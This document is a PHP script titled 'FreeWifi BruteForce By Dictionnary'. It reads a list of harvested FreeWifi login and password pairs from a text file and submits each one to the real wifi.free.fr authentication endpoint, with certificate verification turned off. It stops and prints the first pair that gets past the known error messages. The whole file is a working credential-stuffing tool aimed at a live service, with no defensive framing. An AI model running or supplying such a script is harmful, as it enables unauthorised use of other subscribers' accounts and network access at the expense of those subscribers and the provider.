FreeWifi BruteForce By Dictionnary

<?php
$codes=array();
$fp=fopen('freewifi_codes.txt', 'r');
$next=false;
$l='(?:id|Id|ID|identifiants|IDDfree wifi)';
$p='(?:mp|Mp|MP|Mot de passe|MDP|Mdp|mdp|Mot de passe|mot de pass|pass|M)';
$sep='(?:[:=;])?';
$login='';
$pass='';
$line=0;
while(!feof($fp)) {
    $data=fgets($fp, 4096);
    $line++;
    $data=trim($data);
    if(empty($data)) continue;
    if(strpos($data, '@')!==false) continue;
    if(!$next)
    {
        if(preg_match('/'.$l.'\s*'.$sep.'\s*([0-9]+)(?: Acces refuse pour non paiement)?$/', $data, $matches))
        {
            $login=$matches[1];
            $next=true;
        }
        elseif(preg_match('/([0-9]+)\s*'.$p.'\s*'.$sep.'\s*([0-9a-zA-Z._]+)/', $data, $matches))
        {
            $login=$matches[1];
            $pass=$matches[2];
            $codes[]=array($login, $pass);
            $next=false;
        }
        else {
            var_dump($line, $data);
            var_dump($codes[count($codes)-1]);
            die();
        }
    }
    elseif($next)
    {
        if(preg_match('/'.$p.'\s*'.$sep.'\s*([0-9a-zA-Z._]+)$/', $data, $matches))
        {
            $pass=$matches[1];
            $codes[]=array($login, $pass);
            $next=false;
        }
        else {
            var_dump($line, $data);
            var_dump($codes[count($codes)-1]);
            die();
        }
    }
}
$url='https://wifi.free.fr/Auth';
$c=0;
foreach($codes as list($login, $pass))
{
    $c++;
    $content=sprintf('login=%s&password=%s&submit=Valider', $login, $pass);
    $opts = array(
        'http' => array(
            'method'=>'POST',
            'content'=>$content,
            'header'=>'Content-Type: application/x-www-form-urlencoded',
        ),
        'ssl' => array(
            'verify_peer'=>false,
            'allow_self_signed'=>true,
        ),
    );
    $opt=stream_context_create($opts);
    $data=file_get_contents($url, false, $opt);
    if(strpos($data, 'ERREUR : VOUS ETES DEJA CONNECTE')!==false)
    {
        continue;
    }
    if(strpos($data, 'Erreur d\'authentification FreeWifi')!==false)
    {
        continue;
    }
    if(strpos($data, 'Identifiant FreeWifi inconnu')!==false)
    {
        continue;
    }
    if(strpos($data, 'Erreur interne')!==false)
    {
        continue;
    }
    echo $data;
    var_dump($login, $pass);
    break;
}
var_dump($c);
echo 'fini';